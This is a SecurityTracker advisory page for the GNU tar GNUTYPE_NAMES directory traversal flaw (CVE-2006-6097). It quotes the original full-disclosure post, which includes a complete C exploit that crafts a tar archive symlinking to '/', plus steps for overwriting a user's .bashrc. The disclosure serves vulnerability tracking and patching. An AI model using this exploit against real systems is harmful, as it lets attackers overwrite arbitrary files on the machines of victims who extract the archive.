SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   Tar Vendors:   GNU [multiple authors]
GNU tar GNUTYPE_NAMES Record Directory Traversal Flaw May Let Remote Users Overwrite Arbitrary Files
SecurityTracker Alert ID:  1017423
SecurityTracker URL:  http://securitytracker.com/id/1017423
CVE Reference:   CVE-2006-6097   (Links to External Site)
Date:  Dec 20 2006
Impact:   Modification of system information, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 1.15.1, 1.16
Description:   A vulnerability was reported in GNU tar. A remote user can cause arbitrary files to be overwritten on the target system.

A remote user can create a specially crafted tar file containing a GNUTYPE_NAMES record with a symbolic link. When extracted by the target user, the file will trigger a flaw in the extract_archive() function in 'extract.c' and the extract_mangle() function in 'mangle.c' and potentially overwrite arbitrary files.

Teemu Salmela reported this vulnerability.

Impact:   A remote user can cause arbitrary files to be overwritten on the target system.
Solution:   The vendor has issued a fixed version (1.16.1).

The fixed version removes the vulnerable support for mangled names.

Vendor URL:  www.gnu.org/software/tar (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 20 2006 (Red Hat Issues Fix) GNU tar GNUTYPE_NAMES Record Directory Traversal Flaw May Let Remote Users Overwrite Arbitrary Files
Red Hat has released a fix for Red Hat Enterprise Linux 2.1, 3, and 4.
Mar 15 2007 (VMware Issues Fix for ESX Server) GNU tar GNUTYPE_NAMES Record Directory Traversal Flaw May Let Remote Users Overwrite Arbitrary Files
VMware has issued a fix for ESX Server, which is affected by this GNU tar vulnerability.
Mar 30 2007 (VMware Issues Fix for ESX Server) GNU tar GNUTYPE_NAMES Record Directory Traversal Flaw May Let Remote Users Overwrite Arbitrary Files
VMware has issued a fix for VMware ESX Server.



 Source Message Contents

Subject:  [Full-disclosure] GNU tar directory traversal

GNU tar directory traversal
----------------------------------------------------------------------------
What is it?
When i download a tar file (warez.tar.gz in this example) from the web and
run the following commands:

$ mkdir ~/warez
$ tar xzf warez.tar.gz -C ~/warez

, then i would expect that tar doesn't create or replace any files outside
the ~/warez directory. Today, i was browsing the GNU tar source code trying
to find a way to create/overwrite arbitrary files, and i found it!

Normal tar symlinks/hardlinks are handled correctly in GNU tar (i think),
but there is one tar record type, called GNUTYPE_NAMES (this is some kind
of GNU extension, i think), that allows me to create symbolic links
(inside the ~/warez directory, in this example) pointing to arbitrary
locations in the filesystem. In the exploit, i make a sybolic link called
"xyz", pointing to "/". After that record, more records would follow
that extract files to the "xyz" directory.

Version numbers:
----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS, GNU tar 1.16 and GNU tar 1.15.1 (this one
comes with Ubuntu)

Vulnerable code:
----------------------------------------------------------------------------
See extract_archive() in extract.c and extract_mangle() in mangle.c.

Exploit:
----------------------------------------------------------------------------

/*
 * tarxyz.c - GNU tar directory traversal exploit.
 * Written by Teemu Salmela.
 *
 * Example usage (creates a tar file that extracts /home/teemu/.bashrc):
 *   $ gcc -o tarxyz tarxyz.c
 *   $ ./tarxyz > ~/xyz.tar
 *   $ mkdir -p /tmp/xyz/home/teemu/
 *   $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
 *   $ cd /tmp
 *   $ tar -rf ~/xyz.tar xyz/home/teemu
 */

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{                               /* byte offset */
  char name[100];               /*   0 */
  char mode[8];                 /* 100 */
  char uid[8];                  /* 108 */
  char gid[8];                  /* 116 */
  char size[12];                /* 124 */
  char mtime[12];               /* 136 */
  char chksum[8];               /* 148 */
  char typeflag;                /* 156 */
  char linkname[100];           /* 157 */
  char magic[6];                /* 257 */
  char version[2];              /* 263 */
  char uname[32];               /* 265 */
  char gname[32];               /* 297 */
  char devmajor[8];             /* 329 */
  char devminor[8];             /* 337 */
  char prefix[155];             /* 345 */
                                /* 500 */
};

#define GNUTYPE_NAMES 'N'

#define BLOCKSIZE       512

union block
{
  char buffer[BLOCKSIZE];
  struct posix_header header;
};

void
data(void *p, size_t size)
{
        size_t n = 0;
        char b[BLOCKSIZE];

        while (size - n > 512) {
                fwrite(&((char *)p)[n], 1, 512, stdout);
                n += 512;
        }
        if (size - n) {
                memset(b, 0, sizeof(b));
                memcpy(b, &((char *)p)[n], size - n);
                fwrite(b, 1, sizeof(b), stdout);
        }
}

int
main(int argc, char *argv[])
{
        char *link_name = "xyz";
        union block b;
        char *d;
        int i;
        unsigned int cksum;

        if (argc > 1)
                link_name = argv[1];

        if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) {
                fprintf(stderr, "out of memory\n");
                exit(1);
        }
        memset(&b, 0, sizeof(b));
        strcpy(b.header.name, "xyz");
        strcpy(b.header.mode, "0000777");
        strcpy(b.header.uid, "0000000");
        strcpy(b.header.gid, "0000000");
        sprintf(b.header.size, "%011o", strlen(d));
        strcpy(b.header.mtime, "00000000000");
        strcpy(b.header.chksum, "        ");
        b.header.typeflag = GNUTYPE_NAMES;
        strcpy(b.header.magic, "ustar  ");
        strcpy(b.header.uname, "root");
        strcpy(b.header.gname, "root");
        for (cksum = 0, i = 0; i < sizeof(b); i++)
                cksum += b.buffer[i] & 0xff;
        sprintf(b.header.chksum, "%06o ", cksum);
        fwrite(&b, 1, sizeof(b), stdout);
        data(d, strlen(d));
}

-- 
fscanf(socket,"%s",buf); printf(buf);
sprintf(query, "SELECT %s FROM table", buf);
sprintf(cmd, "echo %s | sqlquery", query); system(cmd);
Teemu Salmela 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC